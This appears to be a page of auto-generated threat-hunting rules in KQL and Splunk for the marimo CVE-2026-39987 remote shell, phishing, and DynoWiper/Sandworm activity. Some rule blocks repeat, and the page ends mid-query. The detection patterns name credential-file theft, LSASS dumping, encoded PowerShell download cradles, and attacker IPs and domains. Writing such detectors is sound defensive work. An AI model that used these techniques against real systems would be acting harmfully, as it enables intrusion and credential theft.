Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-034 use cases0 techniques3 kill-chain phases detected
Sangoma FreePBX contains an improper authentication vulnerability that potentially allows unauthorized users to bypass password authentication and access services provided by the FreePBX admin. Vendor: Sangoma, Product: FreePBX. Federal patch due: 2026-02-24.
CVEsCVE-2019-19006
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2019-19006")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2019-19006")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — DynoWiper update: Technical analysis and attribution
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · [LLM] DynoWiper staging: execution of schtask.exe / *_update.exe from C:\inetpub\pub\ · [LLM] GPO-staged scheduled task launching wiper from \\*\inetpub\pub\ across domain
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] Sandworm rsocx reverse SOCKS5 to compromised progamevl[.]ru host (31.172.71.5:8008)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → LSASS process access / dump (credential theft) · Ransomware-style mass file rename / extension change · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("31.172.71.5") or RemoteUrl has_any ("progamevl.ru")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("31.172.71.5")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("progamevl.ru")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("progamevl.ru")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — DynoWiper update: Technical analysis and attributionExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — DynoWiper update: Technical analysis and attribution
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("schtask.exe", "schtask2.exe", "_update.exe", "rubeus.exe", "tmp_backup.tmp.exe", "ts_5wb.tmp.exe", "rsocx.exe") or FolderPath has_any ("C:\inetpub\pub\"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\inetpub\pub\") or FileName in~ ("schtask.exe", "schtask2.exe", "_update.exe", "rubeus.exe", "tmp_backup.tmp.exe", "ts_5wb.tmp.exe", "rsocx.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — DynoWiper update: Technical analysis and attribution ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("schtask.exe","schtask2.exe","_update.exe","rubeus.exe","tmp_backup.tmp.exe","ts_5wb.tmp.exe","rsocx.exe") OR Processes.process_path="*C:\inetpub\pub\*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
